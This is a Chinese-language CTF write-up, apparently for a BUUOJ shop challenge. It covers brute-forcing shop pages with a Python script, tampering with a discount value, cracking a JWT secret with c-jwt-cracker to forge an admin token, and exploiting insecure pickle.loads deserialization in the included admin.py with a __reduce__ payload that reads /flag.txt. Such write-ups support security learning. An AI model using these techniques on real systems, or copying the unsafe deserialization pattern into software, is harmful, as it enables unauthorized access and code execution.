考察知识点:
1.python 脚本编写
\2. jwt破解
\3.
1.提示需要冲到lv6
\2. 发现下一页可以一直点击,推测lv6在某一页
采用脚本爆破:
因为网页中的会员等级在网页中是等级对应的图片,所以爆破脚本只需要不断获取lv6.png即可
1 2 3 4 5 6 7 8 9 10 11 12
| import requests
url='http://0302ff1f-762a-4a95-8aad-32d665cf5b9f.node3.buuoj.cn/shop?page='
for i in range(0,500): r=requests.get(url+str(i))
print(url+str(i)) if "lv6.png" in r.text: print(i) break
|
最终在181页发现lv6
3.购买会员,但是发现钱不够,抓包发现可以任意更改折扣
当折扣改的足够小时,会发生302跳转,
\4. 跳转的302页面,显示只允许admin用户访问,所以此时思路就是伪造成admin用户
发现传输协议中使用了jwt,jwt是不安全的
https://zhuanlan.zhihu.com/p/71672282
\5. 伪造jwt
5.1 安装jwt破解工具
1 2 3
| git clone https://github.com/brendan-rius/c-jwt-cracker make ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImgxMWJhMSJ9.dZLQ2sL0AKiPll8PmCVQ4ZXiMNXT9AxYtE3U1qhDR6Y
|
5.2 伪造成admin用户
https://jwt.io/
\6. 访问刚才的后台
发现网站的源码
\7. 下载到源码发现admin.py存在反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import tornado.web from sshop.base import BaseHandler import pickle import urllib
class AdminHandler(BaseHandler): @tornado.web.authenticated def get(self, *args, **kwargs): if self.current_user == "admin": return self.render('form.html', res='This is Black Technology!', member=0) else: return self.render('no_ass.html')
@tornado.web.authenticated def post(self, *args, **kwargs): try: become = self.get_argument('become') p = pickle.loads(urllib.unquote(become)) return self.render('form.html', res=p, member=1) except: return self.render('form.html', res='This is Black Technology!', member=0)
|
8.构造exp
1 2 3 4 5 6 7 8 9 10
| import pickle import urllib
class payload(object): def __reduce__(self): return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload()) a = urllib.quote(a) print a
|
\9. 抓包发送payload